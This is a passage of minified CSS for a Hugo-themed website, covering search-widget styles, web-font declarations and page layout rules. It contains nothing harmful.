-hierarchical-menu--count,.ais-menu--count,.ais-refinement-list--count,.ais-star-rating--count,.ais-toggle--count{background:#2751af1a;border-radius:31px;color:#3e82f7;padding:2px 10px}.ais-hierarchical-menu--item__active>div>.ais-hierarchical-menu--link,.ais-menu--item__active>div>.ais-menu--link,.ais-refinement-list--item__active>div>.ais-geo-search--toggle-label,.ais-refinement-list--item__active>div>.ais-refinement-list--label,.ais-refinement-list--item__active>div>.ais-toggle--label{font-weight:700}.ais-hierarchical-menu--item__active>div>.ais-hierarchical-menu--link::after{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.ais-hierarchical-menu--link{position:relative}.ais-hierarchical-menu--link::after{background:url(data:image/svg+xml;utf8;base64,PHN2ZyB2aWV3Qm94PSIwIDAgOCAxMyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMS41IDEuNWw1IDQuOTgtNSA1LjAyIiBzdHJva2U9IiM2OTc3ODIiIHN0cm9rZS13aWR0aD0iMS41IiBmaWxsPSJub25lIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIgb3BhY2l0eT0iLjQiLz48L3N2Zz4=) no-repeat 50%/contain;content:' ';display:block;position:absolute;top:calc(50% - 14px/2);right:-22px;height:14px;width:14px}select.ais-hits-per-page-selector,select.ais-menu-select--select,select.ais-numeric-selector,select.ais-sort-by-selector{-webkit-appearance:none;-moz-appearance:none;appearance:none;background:#fff url(data:image/svg+xml;utf8;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMTIgNyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTEgMSA2LjAyIDYgMSAxIiBzdHJva2Utd2lkdGg9IjEuNSIgc3Ryb2tlPSIjYmZjN2Q4IiBmaWxsPSJub25lIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIvPjwvc3ZnPg==) no-repeat 50% 100% 16px/10px;box-shadow:0 1px 1px 0 #555f6e33!important;border:solid 1px #d4d8e3!important;border-radius:4px;color:#697782;font-size:12px;transition:background .2s ease,box-shadow .2s ease;padding:8px 32px 8px 16px;outline:0}.ais-menu button,.ais-refinement-list div>button{background:0 0;border:0;cursor:pointer;font-size:11px}.ais-refinement-list--item{line-height:24px}.ais-geo-search--toggle-label,.ais-refinement-list--label,.ais-toggle--label{cursor:pointer}.ais-geo-search--toggle-label input[type=checkbox],.ais-geo-search--toggle-label input[type=radio],.ais-refinement-list--label input[type=checkbox],.ais-refinement-list--label input[type=radio],.ais-toggle--label input[type=checkbox],.ais-toggle--label input[type=radio]{margin-right:5px}.ais-pagination{background:#fff;box-shadow:0 1px 1px 0 #555f6e33;border:solid 1px #d4d8e3;border-radius:4px;display:inline-block;padding:8px 16px;width:auto}.ais-pagination--item{border-radius:4px;font-size:14px;text-align:center;width:28px}.ais-pagination--item:hover{background:#2751af1a}.ais-pagination--item__disabled{color:#bbb;opacity:.5;pointer-events:none;visibility:visible}.ais-pagination--item__active{background:#3369e7}.ais-pagination--item__active .ais-pagination--link{color:#fff}.ais-pagination--link{color:#697782;display:block;text-decoration:none;width:100%}.ais-pagination--link:hover{color:#3369e7;text-decoration:none}.ais-price-ranges--item{font-size:14px;line-height:24px}.ais-price-ranges--item__active{font-weight:700}.ais-price-ranges--form{margin-top:10px}.ais-price-ranges--input{background:#fff;box-shadow:inset 0 1px 1px 0 #555f6e33;border:solid 1px #d4d8e3;border-radius:4px;outline:0}.ais-price-ranges--button{border:0;outline:0;margin-left:5px;position:relative;top:-2px}.ais-range-input--inputMax,.ais-range-input--inputMin{background:#fff;box-shadow:inset 0 1px 1px 0 #555f6e33;border:solid 1px #d4d8e3;border-radius:4px;outline:0}.ais-range-input--submit{border:0;outline:0;margin-left:5px;position:relative;top:-2px}.ais-range-slider--handle{border:1px solid #3369e7}.ais-range-slider .rheostat-progress{background-color:#3369e7!important}.ais-search-box{display:inline-block;position:relative;height:46px;white-space:nowrap;font-size:14px}.ais-search-box--input{-webkit-appearance:none;-moz-appearance:none;appearance:none;font:inherit;background:#fff;display:inline-block;border:1px solid #d4d8e3;border-radius:4px;box-shadow:0 1px 1px 0 #555f6e33;transition:box-shadow .4s ease,background .4s ease;padding:10px 10px 10px 35px;vertical-align:middle;white-space:normal;height:100%;width:100%}.ais-search-box--input:focus{box-shadow:none;outline:0}.ais-search-box--reset{fill:#bfc7d8;top:calc(50% - 12px/2);right:13px}.ais-search-box--loading-indicator-wrapper,.ais-search-box--magnifier{fill:#bfc7d8;left:12px;top:calc(50% - 18px/2)}.ais-search-box--loading-indicator-wrapper svg,.ais-search-box--magnifier svg{height:18px;width:18px}.ais-stats{color:#697782;font-size:14px;opacity:.6}.ais-toggle--item__active{font-weight:700}.ais-breadcrumb--root .ais-breadcrumb--label{display:inline;color:#3369e7}.ais-breadcrumb--root .ais-breadcrumb--separator{color:#3369e7}.ais-breadcrumb--root .ais-breadcrumb--home{display:inline;color:#3369e7}.ais-breadcrumb--root .ais-breadcrumb--home div,.ais-breadcrumb--root .ais-breadcrumb--label div,.ais-breadcrumb--root .ais-breadcrumb--separator div{display:inline}.ais-breadcrumb--root .ais-breadcrumb--disabledLabel{color:#444;display:inline}.ais-breadcrumb--root .ais-breadcrumb--separator{position:relative;display:inline-block;height:14px;width:14px}.ais-breadcrumb--root .ais-breadcrumb--separator::after{background:url(data:image/svg+xml;utf8;base64,PHN2ZyB2aWV3Qm94PSIwIDAgOCAxMyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMS41IDEuNWw1IDQuOTgtNSA1LjAyIiBzdHJva2U9IiM2OTc3ODIiIHN0cm9rZS13aWR0aD0iMS41IiBmaWxsPSJub25lIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIgb3BhY2l0eT0iLjQiLz48L3N2Zz4=) no-repeat 50%/contain;content:' ';display:block;position:absolute;top:2px;height:14px;width:14px}.ais-geo-search{position:relative}.ais-geo-search--clear{box-shadow:0 1px 1px 0 #555f6e33;border:solid 1px #d4d8e3;border-radius:4px;padding:8px 15px;position:absolute;bottom:20px;left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%)}.ais-geo-search--clear:hover,.ais-geo-search--redo:hover{cursor:pointer}.ais-geo-search--control{position:absolute;top:10px;left:50px}.ais-geo-search--redo,.ais-geo-search--toggle-label{box-shadow:0 1px 1px 0 #555f6e33;border:solid 1px #d4d8e3;border-radius:4px}.ais-geo-search--toggle-label{font-size:12px;background:#fff;padding:0 15px}.ais-geo-search--redo{padding:8px 15px}.ais-geo-search--redo:disabled{background:#a0b8f3}[class^=ais-],[class^=ais-]>*,[class^=ais-]>::after,[class^=ais-]>::before{box-sizing:border-box}.ais-header{border-bottom:2px solid #eee;font-size:.8em;margin:0 0 6px;padding:0 0 6px;text-transform:uppercase}@font-face{font-family:flexslider-icon;src:url(https://h.cowbay.orgdist/fonts/flexslider-icon.eot);src:url(https://h.cowbay.orgdist/fonts/flexslider-icon.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/flexslider-icon.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/flexslider-icon.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/flexslider-icon.svg#flexslider-icon) format("svg");font-weight:400;font-style:normal}@font-face{font-family:fontawesome;src:url(https://h.cowbay.orgdist/fonts/fontawesome-webfont.eot?v=4.7.0);src:url(https://h.cowbay.orgdist/fonts/fontawesome-webfont.eot?#iefix&v=4.7.0) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/fontawesome-webfont.woff2?v=4.7.0) format("woff2"),url(https://h.cowbay.orgdist/fonts/fontawesome-webfont.woff?v=4.7.0) format("woff"),url(https://h.cowbay.orgdist/fonts/fontawesome-webfont.ttf?v=4.7.0) format("truetype"),url(https://h.cowbay.orgdist/fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular) format("svg");font-weight:400;font-style:normal}@font-face{font-family:open sans;font-style:normal;font-weight:400;src:url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot);src:local("Open Sans Regular"),local(OpenSans-Regular),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff2) format("woff2"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.svg#OpenSans) format("svg")}@font-face{font-family:open sans;font-style:italic;font-weight:400;src:url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.eot);src:local("Open Sans Italic"),local(OpenSans-Italic),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff2) format("woff2"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.svg#OpenSans) format("svg")}@font-face{font-family:open sans;font-style:normal;font-weight:700;src:url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.eot);src:local("Open Sans Bold"),local(OpenSans-Bold),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff2) format("woff2"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.svg#OpenSans) format("svg")}@font-face{font-family:open sans;font-style:italic;font-weight:700;src:url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.eot);src:local("Open Sans Bold Italic"),local(OpenSans-BoldItalic),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff2) format("woff2"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.svg#OpenSans) format("svg")}@font-face{font-family:roboto;font-style:normal;font-weight:400;src:url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot);src:local(Roboto),local(Roboto-Regular),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff2) format("woff2"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.svg#Roboto) format("svg")}@font-face{font-family:roboto;font-style:italic;font-weight:400;src:url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.eot);src:local("Roboto Italic"),local(Roboto-Italic),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff2) format("woff2"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.svg#Roboto) format("svg")}@font-face{font-family:roboto;font-style:normal;font-weight:700;src:url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.eot);src:local("Roboto Bold"),local(Roboto-Bold),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff2) format("woff2"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.svg#Roboto) format("svg")}@font-face{font-family:roboto;font-style:italic;font-weight:700;src:url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.eot);src:local("Roboto Bold Italic"),local(Roboto-BoldItalic),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff2) format("woff2"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.svg#Roboto) format("svg")}@font-face{font-family:comfortaa;font-style:normal;font-weight:400;src:url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.eot);src:local("Comfortaa Regular"),local(Comfortaa-Regular),url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.woff2) format("woff2"),url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.svg#Comfortaa) format("svg")}@font-face{font-family:comfortaa;font-style:normal;font-weight:700;src:url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.eot);src:local("Comfortaa Bold"),local(Comfortaa-Bold),url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.woff2) format("woff2"),url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.svg#Comfortaa) format("svg")}@font-face{font-family:roboto mono;font-style:normal;font-weight:400;src:url(https://h.cowbay.orgdist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot);src:local("Roboto Mono"),local(RobotoMono-Regular),url(https://h.cowbay.orgdist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff2) format("woff2"),url(https://h.cowbay.orgdist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.svg#RobotoMono) format("svg")}.bilberry-hugo-theme{background-color:#f1f1f1;font-family:open sans,sans-serif;color:#222;font-size:1.6em}.bilberry-hugo-theme h1,.bilberry-hugo-theme h2,.bilberry-hugo-theme h3,.bilberry-hugo-theme h4,.bilberry-hugo-theme h5,.bilberry-hugo-theme h6,.bilberry-hugo-theme .title,.bilberry-hugo-theme .subtitle{font-family:comfortaa,sans-serif}.bilberry-hugo-theme a{color:inherit;text-decoration:none;transition:all .2s ease-in-out}.bilberry-hugo-theme a:hover{color:#5c8b59}.bilberry-hugo-theme .hljs{padding:.75em;font-size:.9em}.bilberry-hugo-theme .container{width:800px;max-width:100%}.bilberry-hugo-theme *::-webkit-input-placeholder{color:#d8d7d7}.bilberry-hugo-theme *:-moz-placeholder{color:#d8d7d7}.bilberry-hugo-theme *::-moz-placeholder{color:#d8d7d7}.bilberry-hugo-theme *:-ms-input-placeholder{color:#d8d7d7}.bilberry-hugo-theme nav{background:#2d3642;color:#f1f1f1;display:none}.bilberry-hugo-theme nav.permanentTopNav{display:block}.bilberry-hugo-theme nav .container{display:flex;justify-content:space-between;align-items:center;padding:.25em 0;min-height:65px}.bilberry-hugo-theme nav ul{list-style:none;display:flex;flex-wrap:wrap;align-items:center;margin:0}.bilberry-hugo-theme nav ul li{margin-bottom:0;display:flex}.bilberry-hugo-theme nav ul li a{text-align:center;padding:1em 1.5em;display:flex}.bilberry-hugo-theme nav ul li a:hover{color:inherit;background-color:#424f60}.bilberry-hugo-theme nav .search{margin-left:auto;min-width:300px;position:relative}.bilberry-hugo-theme nav .search input{font-family:open sans,sans-serif}.bilberry-hugo-theme nav .search i{position:absolute;left:1em;top:10px;z-index:40}.bilberry-hugo-theme nav .search input{margin:0;background:0 0;border:none;color:#f1f1f1;padding-left:2.75em;width:100%;background-color:#374251}.bilberry-hugo-theme nav .search input:hover,.bilberry-hugo-theme nav .search input:focus{background-color:#424f60;border:none}.bilberry-hugo-theme nav .search .algolia-autocomplete{width:100%;color:#444}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-dropdown-menu{width:100%;border-radius:4px}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-dropdown-menu .empty{padding:.5em 1em;display:block}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-dropdown-menu .branding{font-size:.75em;text-align:right;padding:.5em 1em;background-color:#f1f1f1}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-dropdown-menu .branding img{width:3.5em;position:relative;top:.1em}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span{display:flex;justify-content:space-between;align-items:center;background-color:#fafafa}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span:hover,.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span:focus{background-color:#f5f5f5}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span .title{max-width:315px}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span.entry.category .title,.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span.entry.tag .title,.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span.entry.author .title{text-transform:capitalize}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span .fa{font-size:1em;color:#888;text-align:right}.bilberry-hugo-theme nav .search .aa-input-container{display:inline-block;position:relative}.bilberry-hugo-theme nav .search .aa-input-search{width:300px;padding:12px 28px 12px 12px;border:1px solid #e4e4e4;box-sizing:border-box;-webkit-appearance:none;-moz-appearance:none;appearance:none}.bilberry-hugo-theme nav .search .aa-input-search::-webkit-search-decoration,.bilberry-hugo-theme nav .search .aa-input-search::-webkit-search-cancel-button,.bilberry-hugo-theme nav .search .aa-input-search::-webkit-search-results-button,.bilberry-hugo-theme nav .search .aa-input-search::-webkit-search-results-decoration{display:none}.bilberry-hugo-theme nav .search .aa-input-icon{height:16px;width:16px;position:absolute;top:50%;right:16px;-webkit-transform:translateY(-50%);transform:translateY(-50%);fill:#e4e4e4;pointer-events:none}.bilberry-hugo-theme nav .search .aa-dropdown-menu{background-color:#fff;border:1px solid #e4e4e499;min-width:300px;margin-top:10px;box-sizing:border-box}.bilberry-hugo-theme nav .search .aa-suggestion{padding:6px 12px;cursor:pointer}.bilberry-hugo-theme nav .search .aa-suggestion+.aa-suggestion{border-top:1px solid #e4e4e499}.bilberry-hugo-theme nav .search .aa-suggestions-category{border-bottom:1px solid #e4e4e499;border-top:1px solid #e4e4e499;padding:6px 12px}.bilberry-hugo-theme header{background-color:#1d1f38;color:#f1f1f1;height:20rem;display:flex;align-items:center}.bilberry-hugo-theme header .container{display:flex;flex-direction:row;align-items:center;height:100%}.bilberry-hugo-theme header .container:after{content:"";display:block;position:absolute;left:50px;top:50px;width:2px;height:100%;background:#ffffff1a;z-index:1}.bilberry-hugo-theme header .logo{font-size:40pt!important;background-color:#eee;border-radius:50%;width:90px;height:90px;border:5px #eee solid;position:relative;color:#eee;z-index:4;display:flex;align-items:center;justify-content:center}.bilberry-hugo-theme header .logo a{border:0}.bilberry-hugo-theme header .logo:hover .overlay{opacity:1}.bilberry-hugo-theme header .logo img{max-width:100%;border-radius:50%}.bilberry-hugo-theme header .logo .overlay{position:absolute;top:0;left:0;bottom:0;right:0;background-color:#5c8b59;border-radius:50%;display:flex;align-items:center;justify-content:center;transition:all .3s ease-in-out;opacity:0}.bilberry-hugo-theme header .titles{margin-left:3rem}.bilberry-hugo-theme header .titles h3{margin-bottom:0;font-size:3.25rem}.bilberry-hugo-theme header .languages{position:absolute;right:0;bottom:0;background-color:#2d3642;padding:.25em 1em;border-top-right-radius:4px;border-top-left-radius:4px}.bilberry-hugo-theme header .languages a{text-transform:uppercase;font-size:.8em;color:#f1f1f1;letter-spacing:.1em}.bilberry-hugo-theme header .languages a.active{font-weight:700}.bilberry-hugo-theme header .languages a:not(:last-child):after{content:" | ";color:inherit}.bilberry-hugo-theme header .toggler{position:absolute;right:0;top:0;background:#2d3642;padding:.375em .75em;font-size:1.125em;border-bottom-left-radius:4px;border-bottom-right-radius:4px;cursor:pointer}.bilberry-hugo-theme header .toggler.permanentTopNav{display:none}.bilberry-hugo-theme .main{margin-bottom:5em;min-height:50vh}.bilberry-hugo-theme .main:before{content:"";display:block;position:absolute;left:50px;bottom:50px;width:2px;height:100%;background:#0000000d;z-index:1}.bilberry-hugo-theme .main:after{content:"";display:block;position:absolute;left:41px;bottom:32px;height:20px;width:20px;background:#ddd;border-radius:999px;z-index:10}.bilberry-hugo-theme .main .article-wrapper{display:flex;justify-content:flex-end;padding-top:50px;min-height:90px;position:relative}.bilberry-hugo-theme .main .article-wrapper.single{padding-bottom:2.5em}.bilberry-hugo-theme .main .article-wrapper .bubble{position:absolute;left:25px;top:85px;background-color:#ccc;border:3px solid #fff;width:45px;height:45px;display:flex;align-items:center;justify-content:center;border-radius:50%;z-index:10;text-decoration:none;color:#fff;transition:all .3s ease-in-out}.bilberry-hugo-theme .main .article-wrapper .bubble .fa{font-size:15pt}.bilberry-hugo-theme .main .article-wrapper .bubble:hover{background-color:#5c8b59}.bilberry-hugo-theme article{border-radius:4px;overflow:hidden;background-color:#fff;box-shadow:0 1px 2px #0003;width:700px;position:relative}.bilberry-hugo-theme article:before{content:"";display:block;border:11px solid #0000;border-right-color:#ddd;position:absolute;top:49px;left:-22px}.bilberry-hugo-theme article:after{content:"";display:block;border:10px solid #0000;border-right-color:#fff;position:absolute;top:50px;left:-20px}.bilberry-hugo-theme article .featured-image{width:100%}.bilberry-hugo-theme article .featured-image img{width:100%}.bilberry-hugo-theme article .content{padding:2em}.bilberry-hugo-theme article .content h3{font-size:1.75em;margin-bottom:.25em}.bilberry-hugo-theme article .content h3 a{font-style:normal}.bilberry-hugo-theme article .content .meta{text-transform:uppercase;font-style:normal;letter-spacing:1px;margin-bottom:2rem;font-size:.825em;color:#999;padding-bottom:2.5%;border-bottom:3px double #eee;margin-bottom:4.5%}.bilberry-hugo-theme article .content .meta a{font-style:normal}.bilberry-hugo-theme article .content .meta span:before{content:" / ";margin:0 1rem}.bilberry-hugo-theme article .content .meta span:first-child:before{margin:0!important;content:""!important}.bilberry-hugo-theme article .content .meta span a:not(:last-child):after{content:", "}.bilberry-hugo-theme article .content a{font-style:italic}.bilberry-hugo-theme article .content a.more{display:block;margin:2.5rem 0;margin-bottom:1rem;color:#5c8b59;font-size:1.125em;text-decoration:none;font-style:normal}.bilberry-hugo-theme article .content a.more:hover{color:#999}.bilberry-hugo-theme article .content .task-list{list-style:none}.bilberry-hugo-theme article .content .task-list .task-list-item{margin-bottom:0;position:relative;top:3px;margin-right:.25em}.bilberry-hugo-theme article .content blockquote{background-color:#f6f6f6;font-family:comfortaa,sans-serif;margin:1.5em 0;padding:2em;border-left:.5em solid #ededed;font-size:1.1em}.bilberry-hugo-theme article .content blockquote cite{text-transform:uppercase;font-style:normal;font-weight:700;font-size:.9em}.bilberry-hugo-theme article .content blockquote p:last-child{margin-bottom:0}.bilberry-hugo-theme article .content img{max-width:100%}.bilberry-hugo-theme article .content video{max-width:100%}.bilberry-hugo-theme article .footer{display:flex;align-items:center;flex-direction:row;justify-content:space-between;background:#1d1f381a;font-family:roboto mono,monospace;font-size:.9em}.bilberry-hugo-theme article .footer.no-tags{flex-direction:row-reverse}.bilberry-hugo-theme article .footer .tags{display:flex;align-items:center;margin:1em 2em}.bilberry-hugo-theme article .footer .tags .links{margin-left:.75em}.bilberry-hugo-theme article .footer .tags .links a:not(:last-child):after{content:" / ";color:#222!important}.bilberry-hugo-theme article .footer .languages{display:flex;align-items:center;margin:1em 2em;white-space:nowrap}.bilberry-hugo-theme article .footer .languages .fa{font-size:1.5em}.bilberry-hugo-theme article .footer .languages .links{margin-left:.75em;text-transform:uppercase;font-family:open sans,sans-serif;letter-spacing:.1em}.bilberry-hugo-theme article .footer .languages .links 